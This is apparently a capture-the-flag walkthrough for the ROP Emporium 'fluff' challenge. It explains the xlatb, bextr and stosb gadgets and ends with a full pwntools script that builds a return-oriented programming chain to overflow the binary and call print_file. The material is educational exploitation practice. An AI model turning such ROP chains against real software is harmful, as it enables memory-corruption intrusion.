ROP Emporium Pt. 6: fluff
SPOILER WARNING: This page will contain potential spoilers, so consider that
before continuing
ROP Emporium is a collection of challenges designed to teach return-oriented
programming (ROP) techniques by slowly introducing new concepts and increasing
difficulty. If you're looking for a spoiler-free guide, check out the one
included on their website.
This next challenge is a little less like the last one and more like write4,
where we have a print_file() function and we need to write our string into
memory and call it. The difference here, is that fluff is supposed to be a much
more sparse binary with much more questionable gadgets.
We can start, as usual, by determining the layout of the file
$ rabin2 -i ./fluff
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x00400500 GLOBAL FUNC pwnme
2 ---------- GLOBAL FUNC __libc_start_main
3 ---------- WEAK NOTYPE __gmon_start__
4 0x00400510 GLOBAL FUNC print_file
$ rabin2 -S ./fluff | grep rw
18 0x00000df0 0x8 0x00600df0 0x8 -rw- INIT_ARRAY .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- FINI_ARRAY .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- DYNAMIC .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- PROGBITS .got
22 0x00001000 0x28 0x00601000 0x28 -rw- PROGBITS .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- PROGBITS .data
24 0x00001038 0x0 0x00601038 0x8 -rw- NOBITS .bss
As we'll see, it's pretty similar to the last couple as far as that goes. We'll
then work backwords to figure out how we need to construct our chain.
To start, we'll want something to move our "flag.txt" to our rw section.
Checking ropper normally doesn't yield much, as there's a bunch of garbage and
not a lot of particularly simple gadgets to use, but that was expected.
We do have a pop rdi gadget that will likely be useful for calling our
print_file() function later though.
0x00000000004006a3: pop rdi; ret;
However, there's one more hint on the page:
fluff.html
Some useful(?) gadgets are available at the questionableGadgets symbol.
We'll then check that out in radare.
[0x00400628]> pd
;-- questionableGadgets:
;-- rip:
0x00400628 d7 xlatb
0x00400629 c3 ret
0x0040062a 5a pop rdx
0x0040062b 59 pop rcx
0x0040062c 4881c1f23e.. add rcx, 0x3ef2
0x00400633 c4e2e8f7d9 bextr rbx, rcx, rdx
0x00400638 c3 ret
0x00400639 aa stosb byte [rdi], al
0x0040063a c3 ret
0x0040063b 0f1f440000 nop dword [rax + rax]
; DATA XREF from entry0 @ 0x400536(r)
There are a couple gadgets here that stand out as different from the rest and
those are xlatb, bextr, and stosb.
xlatb looks up a byte in a table in memory (RBX) indexed by AL, and copies the
table back to AL.
bextr extracts bits, specifying source, index and length. In this case, the
source is RBX, index is RCX and length is RDX.
stosb stores a byte from the AL register to a location in memory, in this case,
rdi.
Working backwards as the hint suggests:
The print_file() function, as usual, uses the rdi register, to control the rdi
register, we can use stosb, in order to do that we need to control the AL
register, which we can do with xlatb, to use xlatb we need to control RBX, and
we can do that with bextr.
Putting together the final script took a lot more troubleshooting and also
google searches than the last ones.
from pwn import *
e = ELF('fluff')
p = process(e.path)
context(arch='amd64', os='linux', endian='little')
junk = b'A' * 40
flag = (b"flag.txt")
data = 0x00601028 # .data
print_file = p64(0x00400510) # print_file()
xlatb = p64(0x00400628) # xlatb
pop_rdx_rcx_add_rcx_bextr = p64(0x0040062a) # pop rdx; pop rcx; add rcx,
# 0x3ef2; bextr rbx, rcx, rdx;
bextr = p64(0x00400633) # bextr rbx, rcx, rdx
stosb = p64(0x00400639) # stosb byte [rdi], al
pop_rdi = p64(0x004006a3) # pop rdi
# make "flag.txt" an array of
# addresses
flag_chars = []
for i in flag: # address of character + offset
addr = hex(read('fluff').find(i) + e.address)
flag_chars.append(addr) # add to array
payload = junk
for i, flag_chars in enumerate(flag_chars):
if(i == 0): # set current rax value (previous
rax = 0xb # value to be set)
else:
rax = flag[i - 1] # after first run, previous value
payload += pop_rdx_rcx_add_rcx_bextr
payload += p64(0x4000) # length of 40 (64 bits)
payload += p64(int(flag_chars, 16) - rax - 0x3ef2)
payload += xlatb # char index - rax - 0x3ef2
payload += pop_rdi # (added junk from gadget)
payload += p64(data + i) # write to data + char index
payload += stosb
payload += pop_rdi # print file
payload += p64(data)
payload += print_file
print(payload)
p.sendline(payload)
log.info(p.clean())